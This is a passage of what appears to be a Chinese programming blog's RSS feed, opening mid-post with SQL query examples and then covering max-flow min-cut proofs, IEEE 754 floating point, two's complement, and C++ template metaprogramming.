    name &apos;姓名&apos;,
    job &apos;职业&apos;,
    salary &apos;薪资&apos;,
    entry_date &apos;入职日期&apos;
FROM emp_tb
WHERE
    (name LIKE &apos;阮%&apos; OR name LIKE &apos;___&apos;) AND
    job IN (2,3,5) AND
    entry_date BETWEEN &apos;2010-01-01&apos; AND &apos;2020-01-01&apos;;

SELECT
    job &apos;职业&apos;,
    COUNT(*) &apos;匹配成功数&apos;,
    COUNT(DISTINCT job) &apos;职业种数&apos;,
    AVG(salary) &apos;平均薪资&apos;,
    MIN(salary) &apos;最低薪资&apos;,
    MAX(salary) &apos;最高薪资&apos;,
    SUM(salary) &apos;薪资总和&apos;
FROM emp_tb
WHERE
    (name LIKE &apos;阮%&apos; OR name LIKE &apos;___&apos;) AND
    job IN (2,3,5) AND
    entry_date BETWEEN &apos;2010-01-01&apos; AND &apos;2020-01-01&apos;
GROUP BY job
HAVING 平均薪资 &amp;gt;= 5300
ORDER BY 最低薪资 ASC, 平均薪资 DESC;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+--------+------+-------+------------+
| 姓名   | 职业 | 薪资  | 入职日期   |
+--------+------+-------+------------+
| 公孙胜 | 2    | 9500  | 2012-12-05 |
| 扈三娘 | 3    | 6500  | 2013-09-05 |
| 孙二娘 | 2    | 10900 | 2011-05-01 |
| 鲁智深 | 2    | 9600  | 2010-01-01 |
| 阮小二 | 2    | 10800 | 2018-01-01 |
| 阮小五 | 5    | 5200  | 2015-01-01 |
| 阮小七 | 5    | 5500  | 2016-01-01 |
| 阮籍   | 5    | 5800  | 2012-01-01 |
+--------+------+-------+------------+

+------+------------+----------+------------+----------+----------+----------+
| 职业 | 匹配成功数 | 职业种数 | 平均薪资   | 最低薪资 | 最高薪资 | 薪资总和 |
+------+------------+----------+------------+----------+----------+----------+
| 5    | 3          | 1        | 5500.0000  | 5200     | 5800     | 16500    |
| 3    | 1          | 1        | 6500.0000  | 6500     | 6500     | 6500     |
| 2    | 4          | 1        | 10200.0000 | 9500     | 10900    | 40800    |
+------+------------+----------+------------+----------+----------+----------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;切片 &lt;code&gt;[start, len)&lt;/code&gt;、&lt;code&gt;[0, len)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT id, username 用户名, name 真实姓名, phone 手机号 FROM emp_tb
LIMIT 3, 5;

SELECT id, username 用户名, name 真实姓名, phone 手机号 FROM emp_tb
LIMIT 4;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+----+--------------+----------+-------------+
| id | 用户名       | 真实姓名 | 手机号      |
+----+--------------+----------+-------------+
| 4  | wuyong       | 吴用     | 13309090004 |
| 5  | gongsunsheng | 公孙胜   | 13309090005 |
| 6  | huosanniang  | 扈三娘   | 13309090006 |
| 7  | chaijin      | 柴进     | 13309090007 |
| 8  | likui        | 李逵     | 13309090008 |
+----+--------------+----------+-------------+

+----+-----------+----------+-------------+
| id | 用户名    | 真实姓名 | 手机号      |
+----+-----------+----------+-------------+
| 1  | shinaian  | 施耐庵   | 13309090001 |
| 2  | songjiang | 宋江     | 13309090002 |
| 3  | lujunyi   | 卢俊义   | 13309090003 |
| 4  | wuyong    | 吴用     | 13309090004 |
+----+-----------+----------+-------------+
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>网络流，最大流最小割定理</title><link>https://fuwari.vercel.app/posts/algo/graph-flow/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/graph-flow/</guid><description>主要对 Ford–Fulkerson 算法的正确性、最大流最小割定理进行简单的数学证明．</description><pubDate>Sat, 27 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;网络流&lt;/h1&gt;
&lt;p&gt;:::important
本文主要讨论有源汇的网络流．
:::&lt;/p&gt;
&lt;p&gt;见到网上关于网络流的资料的数学规定较为杂乱，本文负责整理和浓缩．&lt;/p&gt;
&lt;h2&gt;源汇点&lt;/h2&gt;
&lt;p&gt;在有向图 $G = (V, E)$ 中，钦定 $s \in V$ 和 $t \in V$ 分别作为&lt;strong&gt;源点&lt;/strong&gt;和&lt;strong&gt;汇点&lt;/strong&gt;，$s \ne t$．&lt;/p&gt;
&lt;p&gt;对于 $V$ 的划分 ${S, T}$，若 $s \in S$ 且 $t \in T$，则称 ${S, T}$ 为 $G$ 的 &lt;strong&gt;$s$-$t$ 割&lt;/strong&gt;．&lt;/p&gt;
&lt;h2&gt;容量&lt;/h2&gt;
&lt;p&gt;函数 $c: V^2 \rightarrow \R$ 满足&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\forall, (u, v) \in V^2$，$c(u, v) \ge 0$，当且仅当 $(u, v) \notin E$ 时，等号成立．&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此时称 $c$ 为&lt;strong&gt;容量&lt;/strong&gt;．&lt;/p&gt;
&lt;h2&gt;流&lt;/h2&gt;
&lt;p&gt;对于函数 $f: V^2 \rightarrow \R$，以下是一些记号：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$u$ 的净流量 $f(u) = \sum_{v \in V \setminus {u}} f(u, v)$．&lt;/li&gt;
&lt;li&gt;$U$ 的净流量 $f(U) = \sum_{u \in U}\sum_{v \in V \setminus U} f(u, v)$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;若 $f$ 满足&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;(流动无损耗)&lt;/strong&gt; $\forall, (u, v) \in V^2$，$f(u, v) + f(v, u) = 0$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;(流动有限制)&lt;/strong&gt; $\forall, (u, v) \in V^2$，$f(u, v) \le c(x, y)$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;(流不可存储)&lt;/strong&gt; $\forall, u \in V \setminus {s, t}$，$f(u) = 0$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;(源汇点)&lt;/strong&gt; $f(s) = -f(t) = |f| &amp;gt; 0$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;则称 $f$ 为&lt;strong&gt;流&lt;/strong&gt;，$|f|$ 为总流量．&lt;/p&gt;
&lt;p&gt;:::tip
$f(u, v)$ 表示 $v$ 从 $u$ 接受的流．容量非负，但&lt;em&gt;流可负&lt;/em&gt;．
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;容易看出，点集的总净流量等于各点净流量之和．
$$
\begin{aligned}
\sum_{u \in U} f(u)
&amp;amp;= \sum_{u \in U}\sum_{w \in V \setminus {u}} f(u, w) \
&amp;amp;= \sum_{u \in U}\sum_{v \in V \setminus U} f(u, v) + \sum_{u \in U}\sum_{v \in U \setminus {u}} f(u, v) \
&amp;amp;= \sum_{u \in U}\sum_{v \in V \setminus U} f(u, v) = f(U)
\end{aligned}
$$
对于 $s$-$t$ 割，由于流不可存储，可见
$$
f(S) = \sum_{u \in S} f(u) = f(s) = |f|
$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于 $s$-$t$ 割，记&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;容量 $c(S, T) = \sum_{u \in S}\sum_{v \in T} c(u, v)$．&lt;/li&gt;
&lt;li&gt;流量 $f(S, T) = \sum_{u \in S}\sum_{v \in T} f(u, v)$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;显然 $f(S, T) = f(S) = |f|$，容易得到且更重要的是：任给一个 $s$-$t$ 割，都有&lt;/p&gt;
&lt;p&gt;$$
|f| \le c(S, T)
$$&lt;/p&gt;
&lt;p&gt;:::important
这说明：受容量函数影响，&lt;strong&gt;总流量存在上界&lt;/strong&gt;．很显然，由于 $s$-$t$ 割法有限，右式存在最小值，即&lt;strong&gt;最小割&lt;/strong&gt;的容量．问题来了：等号能否成立？换句话说，&lt;strong&gt;最大流&lt;/strong&gt;的流量是否等于最小割的容量？
:::&lt;/p&gt;
&lt;p&gt;由于所有流的流量都不会超过所有割的容量，我们只需寻找一个流量能够等于一个割的容量（不必证明是最小割）的流．&lt;/p&gt;
&lt;p&gt;:::tip
这相当于给你两个实数闭区间 $A$ 和 $B$．已知 $A \le B$，那么只需要 $\exists, a \in A$，满足 $a \in B$，我们便能得知 $\max A = \min B$，因为 $\forall, a \in A$，$\nexists, b \in B$，$b &amp;lt; a$．
:::&lt;/p&gt;
&lt;h2&gt;残量网络&lt;/h2&gt;
&lt;p&gt;称函数 $c_f = c - f$ 为&lt;strong&gt;剩余容量&lt;/strong&gt;，记 $c_f(S, T) = \sum_{u \in S}\sum_{v \in T} c_f(u, v)$．&lt;/p&gt;
&lt;p&gt;当 $c_f(u, v) = 0$ 时，我们称 $(u, v)$ &lt;strong&gt;满流&lt;/strong&gt;；当 $f(u, v) = 0$ 时，我们称 $(u, v)$ &lt;strong&gt;空流&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;:::tip
$\forall, (u, v) \in V^2, c_f(u, v) = c(u, v) - f(u, v) \ge 0$，即剩余容量非负．
:::&lt;/p&gt;
&lt;p&gt;我们根据原图 $G$ 构建新图 $G_f = (V, E_f)$，其中 $E_f = {(u, v) | c_f(u, v) &amp;gt; 0}$，称 $G_f$ 为&lt;strong&gt;残量网络&lt;/strong&gt;．&lt;/p&gt;
&lt;h2&gt;Ford–Fulkerson 增广&lt;/h2&gt;
&lt;p&gt;在 $G_f$ 中，我们称起点为 $s$、终点为 $t$ 的&lt;em&gt;迹&lt;/em&gt; $P \subset E_f$，为 $G_f$ 的&lt;strong&gt;增广路&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;:::important&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;途径 (walk)&lt;/strong&gt;：途径是边列 $((v_0, v_1), (v_1, v_2), \cdots)$，点和边都有可能相同．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迹 (trail)&lt;/strong&gt;：迹是边互不相同的途径．&lt;strong&gt;回路 (circuit)&lt;/strong&gt; 是起点和终点相同的迹．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路径 (path)&lt;/strong&gt;：路径是点互不相同的迹．&lt;strong&gt;圈 (cycle)&lt;/strong&gt; 是除了起点和终点以外，点互不相同的路径．&lt;strong&gt;自环 (loop)&lt;/strong&gt; 是两个端点相同的边．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;取当前的残量网络 $G_f$ 中的一条增广路 $P$，构建新流 $f&apos;: V^2 \rightarrow \R$，满足&lt;/p&gt;
&lt;p&gt;$$
f&apos;(u, v) =
\begin{cases}
f(u, v), &amp;amp; (u, v) \notin P \
f(u, v) + \min_{(u, v) \in P} c_f(u, v), &amp;amp; (u, v) \in P
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;从而构建出新的残量网络 $G_{f&apos;}$，这个过程称为&lt;strong&gt;增广&lt;/strong&gt;．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;我们发现，由于 $P \subset E_f$，总有 $f&apos;(u, v) &amp;gt; f(u, v)$．&lt;/li&gt;
&lt;li&gt;记 $C = \min_{(u, v) \in P} c_f(u, v)$，我们发现 $c_f&apos;(u, v) = c_f(u, v) - C$，$c_f&apos;(v, u) = c_f(v, u) + C$．&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;最大流最小割定理&lt;/h2&gt;
&lt;p&gt;我们将证明：一个残量网络不存在增广路（无法增广），当且仅当存在 $s$-$t$ 割，使得 $c_f(S, T) = 0$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;充分性&lt;/strong&gt;显然，下面证明&lt;strong&gt;必要性&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;考虑其逆否命题：若任取 $s$-$t$ 割，都有 $c_f(S, T) &amp;gt; 0$，则存在增广路．&lt;/p&gt;
&lt;p&gt;我们进行&lt;strong&gt;构造性证明&lt;/strong&gt;：设初始 $s$-$t$ 割 ${{s}, V \setminus {s}}$．对于每一步的 $s$-$t$ 割 ${S, T}$，由于 $c_f$ 非负，我们总能取满足 $c_f(u, v) &amp;gt; 0$ 的 $(u, v) \in S \times T \subset E_f$．将其加入迹 $P$，更新 $s$-$t$ 割为 ${S \cup {v}, T \setminus {v}}$．由于 $V$ 是有限集，构造将终止，显然最终的迹 $P$ 为增广路．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;重点来了，$c_f(S, T) = 0$ 意味着 $|f| = f(S, T) = c(S, T)$，总流量等于一个 $s$-$t$ 割的容量．我们不仅找到了最大流，而且证明了最大流最小割定理：&lt;strong&gt;最大流的流量等于最小割的容量&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;:::note
我们只要让一个残量网络无法增广，就能得到最大流．那是不是不断增广残量网络，就能找到最大流？
:::&lt;/p&gt;
&lt;p&gt;如果流量和容量都是&lt;strong&gt;整数&lt;/strong&gt;，由于每次增广都至少让总流量 $+1$，那么最多需要 $|f|$ 次增广，每次增广都使用时间复杂度为 $O(|E|)$ 的朴素方法寻找增广路，因此总复杂度为 $O(|E||f|)$，$f$ 为最大流．&lt;/p&gt;
&lt;p&gt;但如果不是整数，且使用朴素的方法进行增广，那么无法保证每次增广给总流量带来的增量存在最小值，无法保证增广能够终止．&lt;/p&gt;
</content:encoded></item><item><title>有效数字，浮点数，规格化，以及渐进式下溢</title><link>https://fuwari.vercel.app/posts/cs/csapp/float/float/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/cs/csapp/float/float/</guid><description>手把手教你发明 IEEE 754 浮点数~</description><pubDate>Sat, 08 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;手把手教你发明 IEEE 754 浮点数&lt;/h1&gt;
&lt;h2&gt;有效数字&lt;/h2&gt;
&lt;p&gt;受限于存储位数 $n$ 的限制，机器只能存储 $2^n , \text{bit}$ 的有限信息，反映在存储小数上就是只能表示有理数，无法表示无限不循环小数，即无理数．&lt;/p&gt;
&lt;p&gt;:::note[惜墨如金]
考虑这样一个十进制无符号的情景：你只能写 6 个数字，以及 1 个小数点．你会怎样表示小数？
:::&lt;/p&gt;
&lt;p&gt;你可能会行中庸之道：3 位整数，3 位小数．这样你就能表示 $[0, 999.999]$ 内，精度为 $0.001$ 的所有小数．&lt;/p&gt;
&lt;p&gt;你可能不满于值域大小，于是你重新安排：5 位整数，1 位小数．这样你就能表示 $[0, 99999.9]$ 内，精度为 $0.1$ 的所有小数．&lt;/p&gt;
&lt;p&gt;你可能不满于精度大小，于是你重新安排：1 位整数，5 位小数．这样你就能表示 $[0, 9.99999]$ 内，精度为 $0.00001$ 的所有小数．&lt;/p&gt;
&lt;p&gt;:::tip[trade-off]
位数有限，所含信息也是有限的，你必然会在值域与精度之间做出权衡．
:::&lt;/p&gt;
&lt;p&gt;直接做出向上面一样死板的安排（定点数）并非良策，但你会发现：上面三种方法都有一个共性：所表示的小数，&lt;strong&gt;其有效位数是一样的&lt;/strong&gt;，都是 6 位有效数字，&lt;strong&gt;仅小数点的位置不同&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;如果我们留出一些位数，来表示小数点的位置信息，是不是就能兼顾值域和精度，打破鱼和熊掌之僵局？&lt;/p&gt;
&lt;p&gt;恭喜你，你发明了浮点数．&lt;/p&gt;
&lt;p&gt;:::note[科学计数法]
实际上你会发现，科学计数法就是浮点的思想：
$$
\begin{align*}
1.2345 \times 10^3 &amp;amp;= 1234.5 \
1.2345 \times 10^1 &amp;amp;= 12.345
\end{align*}
$$
这样我们就实现了仅牺牲 1 位的有效数字表示小数点位置，带来了值域和精度的灵活调节．
:::&lt;/p&gt;
&lt;h2&gt;浮点数&lt;/h2&gt;
&lt;p&gt;:::tip[trade-off]
这个时候你又发现，究竟要从有效位数中挪用多少位（指数位）来表示小数点位置？
:::&lt;/p&gt;
&lt;p&gt;这又是一种权衡：有效位数与小数点的浮动位数之间的权衡．遗憾的是，这种权衡没有灵活的空间，只能依靠主观了．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在六、七十年代，各家计算机公司的各个型号的计算机，有着千差万别的浮点数表示，却没有一个业界通用的标准．这给数据交换、计算机协同工作造成了极大不便．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;车同轨，书同文．对于二进制浮点数，IEEE 754 规定：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;总位数&lt;/th&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;阶码（浮动位数）&lt;/th&gt;
&lt;th&gt;尾数（有效位数）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;:::tip[一种可能的数学直觉]
为什么这样分呢？这跟对两者的价值评判有关：我们对值域大小和有效位数的感知都是线性的．&lt;/p&gt;
&lt;p&gt;相比增加一位尾数以提供多一位有效数字，增加一位阶码所带来的值域大小，其收益是指数级别的，因此所安排的阶码位数应该是对数级别的．
:::&lt;/p&gt;
&lt;h2&gt;规格化&lt;/h2&gt;
&lt;h3&gt;尾数部分&lt;/h3&gt;
&lt;p&gt;既然使用一个数来表示小数点浮动到的位置，那么浮动的原点在哪？&lt;/p&gt;
&lt;p&gt;:::note[小数点的家]
让我们回到十进制的情景：
$$
000000005678912345072101145141919810000000
$$
你认为浮动的锚点定在哪比较合适？
:::&lt;/p&gt;
&lt;p&gt;回想起我们的科学计数法：
$$
a \times 10^\text{exp}, \quad 1 \le |a| &amp;lt; 10
$$
所以按照我们的书写习惯：
$$
000000005.678912345072101145141919810000000
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你有没有想过为什么不是 $0 \le |a| &amp;lt; 1$？这在数学上看起来似乎更自然？
$$
0.567891234507210114514191981
$$
第一个 $0$ 没有提供有效信息，可以省略．可能是人们觉得小数点前面没有数字很奇怪吧，索性就规定前面应该有一个非零数字．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可在二进制中，为什么不这样做呢？
$$
.1101101010101101010010111101
$$
这样便是我们熟悉的定点小数．&lt;/p&gt;
&lt;p&gt;但你很快发现：第一个 $1$ 是无效信息，因为如果第一个小数位是 $0$ 的话，就不是有效数字了，所以第一位小数非 $0$ 即 $1$，没有信息，这跟十进制的情况不同．&lt;/p&gt;
&lt;p&gt;所以第一位小数是可以省略的，那干脆直接沿用我们的科学计数法吧：$1 \le |a| &amp;lt; 2$，第一位有效数字必为 $1$，直接省略．&lt;/p&gt;
&lt;p&gt;综上所述，在二进制中，浮动的原点应紧跟在第一个 $1$ 的后面．&lt;/p&gt;
&lt;h3&gt;阶码部分&lt;/h3&gt;
&lt;p&gt;确定好浮动的原点后，我们的小数点应该能左右浮动，因此需要用有符号整数来表示浮动的位数．&lt;/p&gt;
&lt;p&gt;那么该选用哪一种从有符号整数到无符号阶码的编码方案呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你可能选择使用补码：相比原码和反码，补码既能避免 $\pm , 0$ 的冗余编码，又能方便人类阅读正整数，还能方便机器判断译码正负．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但你会发现，阶码不需要给人类阅读，也不需要机器判断正负以确定浮动方向（浮点数运算只需要阶码之间的相对大小信息，不需要正负信息）．&lt;/p&gt;
&lt;p&gt;能避免 $\pm , 0$ 的编码方案还有&lt;strong&gt;移码&lt;/strong&gt;，它还能方便机器判断两个浮点数的阶码相对大小：仅需无符号整数的比较方法，无需最高位特判．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这还会带来一个好处：在浮点数中，如果规定阶码放在尾数的上游，那么在两个浮点数的非符号部分，只需按照字典序就能直接判断浮点数的相对大小．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如对于 8 位阶码而言，译码方案应该是：
$$
[0, 255] \rightarrow [-127, 128]
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么不是 $[-128, 127]$？&lt;/p&gt;
&lt;p&gt;可能因为指数为 $128$ 的浮点数可以用来表示一些特殊值，比如正负无穷、&lt;code&gt;NaN&lt;/code&gt;，后文将提及．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;非规格化&lt;/h2&gt;
&lt;p&gt;看似完美的浮点方案，却隐含着致命缺陷：&lt;/p&gt;
&lt;p&gt;:::note[一个简单的任务]
如何表示 $0$ ？
:::&lt;/p&gt;
&lt;p&gt;你傻眼了：因为 $0$ 根本没有有效数字，连浮动的锚点都找不到．&lt;/p&gt;
&lt;p&gt;但你总不能一直用最小值 $1. \times 2^{-127}$ 来近似 $0$ 吧，那我们就直接规定一个 Magic Number 吧！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;规定 &lt;code&gt;0 00000000 00000000000000000000000&lt;/code&gt; 和 &lt;code&gt;1 00000000 00000000000000000000000&lt;/code&gt; 分别译成 $\pm , 0$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但新的问题又产生了：前一脚 &lt;code&gt;0 00000000 00000000000000000000001&lt;/code&gt; 还表示着 $(1 + 2^{-23}) \times 2^{-127}$，后一脚 &lt;code&gt;0 00000000 000000000000000000000000&lt;/code&gt; 直接表示 $0$，会不会太突然了？&lt;/p&gt;
&lt;p&gt;:::warning[有多突然？]
$$
\frac{(1 + 2^{-23}) \times 2^{-127} - 0}{(1 + 2^{-23}) \times 2^{-127} - 1 \times 2^{-127}} = 2^{23} + 1
$$
:::&lt;/p&gt;
&lt;h3&gt;渐进式下溢&lt;/h3&gt;
&lt;p&gt;工程师们也觉得这太突然了，于是想到一个办法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从 &lt;code&gt;0 00000001 00000000000000000000000&lt;/code&gt; 到 &lt;code&gt;0 00000000 00000000000000000000000&lt;/code&gt;，这是过渡时期．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如何平稳过渡这段时期呢？工程师们选择放弃 $2^{-127}$ 的精度，从 $1 \times 2^{-126}$ 到 $0 \times 2^{-126}$ 之间直接&lt;strong&gt;线性&lt;/strong&gt;过渡．具体而言，&lt;code&gt;0 00000001 00000000000000000000000&lt;/code&gt; 译成 $1 \times 2^{-126}$，&lt;code&gt;0 00000000 11111111111111111111111&lt;/code&gt; 并不译成 $(2 - 2^{-23}) \times 2^{-127}$，而是 $(1 - 2^{-23}) \times 2^{-126}$，原先整数部分省略的 $1$ 变成了 $0$．&lt;/p&gt;
&lt;p&gt;:::tip[从指数渐降到线性直降]
尾数部分每减一次 $1$，都会带来整体值 $2^{-23} \times 2^\text{exp}$ 的降低，在同一指数级别是线性的，但在跨越不同指数级别的情况下，整体还是指数缓降的，不能很好地贴近 $0$．&lt;/p&gt;
&lt;p&gt;于是我们规定：从最低指数级别往后，&lt;strong&gt;保持降低幅度&lt;/strong&gt;，不再发生指数程度的减小，这样就能避免 “飞机” 在低空的持续飞行，实现着陆．
:::&lt;/p&gt;
&lt;p&gt;这就是从最小规格化值变到最大非规格化值的时候，阶码值保持不变，比原本继续下溢相比多移了一位的原因．&lt;/p&gt;
&lt;p&gt;形式上看，如果&lt;strong&gt;阶码为 0&lt;/strong&gt;，则浮点数是非规格化的．&lt;/p&gt;
&lt;h2&gt;特殊值&lt;/h2&gt;
&lt;p&gt;我们在阶码全为 $1$ 的浮点数中，选取一些 Magic Number 来表示特殊值：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;无穷：尾数全 $0$，符号决定无穷的正负；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NaN&lt;/code&gt;：尾数非全 $0$，表示非数（Not a Number），比如 $\sqrt{-1}$，$\infty - \infty$．&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>溢出，循环群，以及补码</title><link>https://fuwari.vercel.app/posts/cs/csapp/complement/csapp-complement/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/cs/csapp/complement/csapp-complement/</guid><description>手把手教你发明补码~</description><pubDate>Fri, 07 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;手把手教你发明补码&lt;/h1&gt;
&lt;h2&gt;溢出带来了循环群🔥&lt;/h2&gt;
&lt;p&gt;受限于存储位数 $n$ 的限制，机器对无符号整数的加法并不封闭．&lt;/p&gt;
&lt;p&gt;:::warning[4 位二进制加法溢出现象]
$$
(1011)_2 + (0111)_2 = (0010)_2
$$
也就是
$$
11 + 7 = 2
$$
:::&lt;/p&gt;
&lt;p&gt;溢出这种特点，决定了机器对无符号整数的加法是一种模 $2^n$ 加法．而我们又知道模 $2^n$ 加法群 $G = \langle \mathbb Z_{2^n}, + \rangle$ 是一种 $2^n$ 阶循环群，因此群内所有数都存在相应的逆元．&lt;/p&gt;
&lt;p&gt;我们知道整数的减法是利用普通加法群下的逆元实现的，那能否利用 $G$ 内所有数存在逆元这一特点，来设计一种编码：让非负整数编码不变，让负整数编码成在 $G$ 下相应绝对值的逆元，以此构建机器加法和整数加法的&lt;strong&gt;局部同构&lt;/strong&gt;，实现机器对一定范围内普通整数的减法功能？&lt;/p&gt;
&lt;p&gt;恭喜你，你发明了补码．&lt;/p&gt;
&lt;h2&gt;你发明的补码&lt;/h2&gt;
&lt;p&gt;以 4 位二进制补码为例，你最初的设计方案是&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./csapp-complement.svg&quot; alt=&quot;csapp-complement&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尴尬的事情发生了：你发现机器数还剩下 $8$ 没用上，你又不想浪费这个数．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个机器数 $8$ 应该被译码成真值 $8$ 还是 $-8$ 呢？感觉好像直接译成真值 $8$ 省事诶...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我看未必🤗，你设计的时候是省事了，但对于机器来说，某些情况下却不省事：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🤖：从真值 $-1(1111)$ 到真值 $-7(1001)$，编码出的机器数最高位都是 $1$，想必最高位是 $1$ 的机器数译出来的一定是负数吧！😝&lt;/p&gt;
&lt;p&gt;🤖：我趣，这个机器数 $1000$ 怎么译出来的是正整数 $8$？😵&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可见我们把机器数 $8$ 译成真值 $-8$ 更有利于机器判断真值的正负．&lt;/p&gt;
</content:encoded></item><item><title>模板元编程</title><link>https://fuwari.vercel.app/posts/lang/cpp/tmpl/template-programming/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/lang/cpp/tmpl/template-programming/</guid><description>本文仅举 C++ 模板元编程若干实践案例，仅供个人使用．</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::important
本文不再介绍 C++ 模板的基础用法．
:::&lt;/p&gt;
&lt;h2&gt;模板也是「函数」&lt;/h2&gt;
&lt;p&gt;我们可以把模板也看成一种「函数」，这个「函数」的输入输出不仅限于值，还可以是类型，甚至「函数」．&lt;/p&gt;
&lt;p&gt;:::tip[案例 1]
统计若干类型的总大小．
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;print&amp;gt;
#include &amp;lt;vector&amp;gt;


template &amp;lt;class ...T&amp;gt;
struct get_size {};


template &amp;lt;&amp;gt;
struct get_size&amp;lt;&amp;gt; { static constexpr size_t value = 0; };


template &amp;lt;class T, class ...U&amp;gt;
struct get_size&amp;lt;T, U...&amp;gt; {
  static constexpr size_t value = sizeof(T) + get_size&amp;lt;U...&amp;gt;::value;
};

int main() {
  size_t N = get_size&amp;lt;int[1000], std::vector&amp;lt;int&amp;gt;, std::string&amp;gt;::value;
  std::println(&quot;1000 * 4 + 24 + 24 = {}&quot;, N);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;1000 * 4 + 24 + 24 = 4048
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C++ 提供了能封装输出值的类型，不用我们手搓 &lt;code&gt;value&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class ...T&amp;gt;
struct get_size {};

template &amp;lt;&amp;gt;
struct get_size&amp;lt;&amp;gt;
  : std::integral_constant&amp;lt;size_t, 0&amp;gt; {};

template &amp;lt;class T, class ...U&amp;gt;
struct get_size&amp;lt;T, U...&amp;gt;
  : std::integral_constant&amp;lt;size_t, sizeof(T) + get_size&amp;lt;U...&amp;gt;::value&amp;gt; {};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有没有函数式传参的写法？&lt;/p&gt;
&lt;p&gt;:::warning[错误的写法]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;constexpr size_t get_size() { return 0; }

template &amp;lt;class T, class ...U&amp;gt;
constexpr size_t get_size(T t, U ...u) {
  return sizeof(t) + get_size(u...);
}

struct TypeA {};
struct TypeB { TypeB(TypeB &amp;amp;&amp;amp;) = delete; };

int main() {

  auto ret = get_size(std::declval&amp;lt;TypeA&amp;gt;(), std::declval&amp;lt;TypeB&amp;gt;());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
